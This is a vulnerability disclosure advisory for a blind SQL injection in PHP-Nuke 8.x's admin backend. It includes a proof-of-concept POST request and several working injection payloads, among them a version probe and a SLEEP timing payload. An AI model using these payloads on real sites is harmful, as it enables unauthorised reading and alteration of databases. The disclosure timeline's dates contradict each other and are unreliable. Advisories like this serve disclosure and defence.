PHP-Nuke 8.x Blind SQL Injection

`PHP-Nuke 8.x <= Blind SQL Injection Vulnerability  
  
  
  
1. OVERVIEW  
  
The administration backend of PHP-Nuke 8.x is vulnerable to Blind SQL Injection.  
  
  
2. BACKGROUND  
  
PHP-Nuke is a Web Portal System or content management system. The goal  
of PHP-Nuke is to have an automated web site to distribute news and  
articles with users system. Each user can submit comments to discuss  
the articles. Main features include: web based admin, surveys, top  
page, access stats page with counter, user customizable box, themes  
manager for registered users, friendly administration GUI with graphic  
topic manager, option to edit or delete stories, option to delete  
comments, moderation system, Referrers page to know who link us,  
sections manager, customizable HTML blocks, user and authors edit, an  
integrated Banners Ads system, search engine, backend/headlines  
generation (RSS/RDF format), and many, many more friendly functions.  
  
  
3. VULNERABILITY DESCRIPTION  
  
The "chng_uid" parameter is not properly sanitized upon submission to  
the /admin.php which leads to Blind SQL Injection vulnerability.  
This allows an attacker to inject or manipulate SQL queries in the  
back-end database, allowing for the manipulation or disclosure of  
arbitrary data.  
  
  
4. VERSIONS AFFECTED  
  
8.0 and lower  
  
Tested version: 8.0  
The paid versions, 8.1 and 9.0, of php-Nuke may be vulnerable as well.  
  
  
5. PROOF-OF-CONCEPT/EXPLOIT  
  
=> /admin.php  
  
POST /admin.php HTTP/1.1  
Referer: http://localhost/admin.php?op=mod_users  
Content-Type: application/x-www-form-urlencoded  
Host: localhost  
  
chng_uid=[BLIND_SQL_INJECTION]+&op=modifyUser  
  
  
Tested Payloads:  
' or 1=1-- [TRUE]  
' or 1=2-- [FALSE]  
' or substring(@@version,1,1)=5-- [TRUE if mySQL version is 5.x]  
' or substring(@@version,1,1)=4-- [FALSE if mySQL version is 5.x]  
' or SLEEP(15)=0-- [sleep for 15 seconds]  
  
Successful response (True) returns the user update form page.  
  
  
6. SOLUTION  
  
Lock down access to php-Nuke administration backend.  
No patch is available yet.  
Use of this product is NOT recommended because of long lack of update  
and vendor negligence about security reports.  
  
  
7. VENDOR  
  
php-Nuke Developers  
http://phpnuke.org/  
  
  
8. CREDIT  
  
Aung Khant, http://yehg.net, YGN Ethical Hacker Group, Myanmar.  
  
  
9. DISCLOSURE TIME-LINE  
  
2011-01-01: contacted author through emails  
2011-01-25: contacted author through web site contact form  
2010-03-23: no replies from author  
2010-03-23: vulnerability disclosed  
  
  
10. REFERENCES  
  
Original Advisory URL:  
http://yehg.net/lab/pr0js/advisories/[phpnuke-8.x]_sql_injection  
About PHP-Nuke: http://en.wikipedia.org/wiki/PHP-Nuke  
PHP-Nuke 8.0: http://phpnuke.org/modules.php?name=Downloads&d_op=getit&lid=658  
CWE-89: http://cwe.mitre.org/data/definitions/89.html  
  
  
  
#yehg [2010-03-23]  
  
keywords: php nuke, php-nuke, phpnuke, 8.0, 8.1, blind, sqlin, sql injection  
  
---------------------------------  
Best regards,  
YGN Ethical Hacker Group  
Yangon, Myanmar  
http://yehg.net  
Our Lab | http://yehg.net/lab  
Our Directory | http://yehg.net/hwd  
  
`